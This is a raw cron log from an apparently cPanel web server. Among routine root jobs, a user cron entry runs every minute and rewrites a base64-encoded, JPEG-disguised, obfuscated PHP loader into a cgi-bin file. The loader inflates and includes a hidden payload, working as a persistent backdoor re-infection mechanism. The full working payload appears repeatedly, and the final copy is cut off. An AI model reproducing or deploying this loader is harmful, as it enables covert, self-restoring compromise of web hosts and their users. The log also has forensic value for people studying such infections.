Sep  2 22:55:01 server CROND[17340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:55:01 server CROND[17341]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 22:55:01 server CROND[17343]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 22:55:01 server CROND[17344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 22:56:01 server CROND[18173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:56:01 server CROND[18174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:56:01 server CROND[18175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:57:01 server CROND[18551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:57:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 22:57:01 server CROND[18550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:57:01 server CROND[18553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:58:01 server CROND[18975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:58:01 server CROND[18976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:58:01 server CROND[18977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:59:01 server CROND[19369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:59:01 server CROND[19370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 22:59:01 server CROND[19368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:00:01 server CROND[19861]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:00:01 server CROND[19863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:00:01 server CROND[19867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:00:01 server CROND[19868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:00:01 server CROND[19871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:00:01 server CROND[19866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:00:01 server CROND[19865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:00:01 server CROND[19870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:00:01 server CROND[19869]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 23:01:01 server CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:01:01 server CROND[20720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:01:01 server CROND[20722]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 23:01:01 server CROND[20723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:01:01 server run-parts(/etc/cron.hourly)[20722]: starting 0anacron
Sep  2 23:01:01 server run-parts(/etc/cron.hourly)[20741]: finished 0anacron
Sep  2 23:02:01 server CROND[21125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:02:01 server CROND[21126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:02:01 server CROND[21127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:03:01 server CROND[21506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:03:01 server CROND[21508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:03:01 server CROND[21509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:04:01 server CROND[21904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:04:01 server CROND[21903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:04:01 server CROND[21907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:05:01 server CROND[22433]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 23:05:01 server CROND[22435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 23:05:01 server CROND[22437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:05:01 server CROND[22439]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 23:05:01 server CROND[22441]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:05:01 server CROND[22446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:05:01 server CROND[22450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:05:01 server CROND[22448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:05:01 server CROND[22449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:06:01 server CROND[23524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 23:06:01 server CROND[23525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:06:01 server CROND[23526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBU